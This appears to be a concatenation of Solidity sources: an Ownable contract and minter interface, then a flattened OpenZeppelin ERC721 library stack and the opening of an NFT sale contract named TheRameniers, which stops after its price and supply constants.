import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ISimpleLimitedMinter {
function tryMint(address to) external returns (bool minted, uint256 tokenId);
} | True | [
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|
// SPDX-License-Identifier: MIT
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/TheRameniers.sol
/*
████████╗██╗░░██╗███████╗ ██████╗░░█████╗░███╗░░░███╗███████╗███╗░░██╗██╗███████╗██████╗░░██████╗
╚══██╔══╝██║░░██║██╔════╝ ██╔══██╗██╔══██╗████╗░████║██╔════╝████╗░██║██║██╔════╝██╔══██╗██╔════╝
░░░██║░░░███████║█████╗░░ ██████╔╝███████║██╔████╔██║█████╗░░██╔██╗██║██║█████╗░░██████╔╝╚█████╗░
░░░██║░░░██╔══██║██╔══╝░░ ██╔══██╗██╔══██║██║╚██╔╝██║██╔══╝░░██║╚████║██║██╔══╝░░██╔══██╗░╚═══██╗
░░░██║░░░██║░░██║███████╗ ██║░░██║██║░░██║██║░╚═╝░██║███████╗██║░╚███║██║███████╗██║░░██║██████╔╝
░░░╚═╝░░░╚═╝░░╚═╝╚══════╝ ╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚══╝╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░
░░░██╗░██╗░░██╗░░░░░░░██╗░█████╗░░██████╗░███████╗██████╗░
██████████╗░██║░░██╗░░██║██╔══██╗██╔════╝░██╔════╝██╔══██╗
╚═██╔═██╔═╝░╚██╗████╗██╔╝███████║██║░░██╗░█████╗░░██████╔╝
██████████╗░░████╔═████║░██╔══██║██║░░╚██╗██╔══╝░░██╔══██╗
╚██╔═██╔══╝░░╚██╔╝░╚██╔╝░██║░░██║╚██████╔╝███████╗██║░░██║
░╚═╝░╚═╝░░░░░░╚═╝░░░╚═╝░░╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░╚═╝
*/
pragma solidity >=0.8.0;
contract TheRameniers is ERC721, Ownable {
using Address for address;
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
// Starting and stopping sale and presale
bool public saleActive = false;
bool public presaleActive = false;
// Price of each token
uint256 public PRESALE_MINT_PRICE = 0.10 ether;
uint256 public MINT_PRICE = 0.15 ether;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PRESALE_SUPPLY = 500;
uint256 public constant RESERVED = 100;
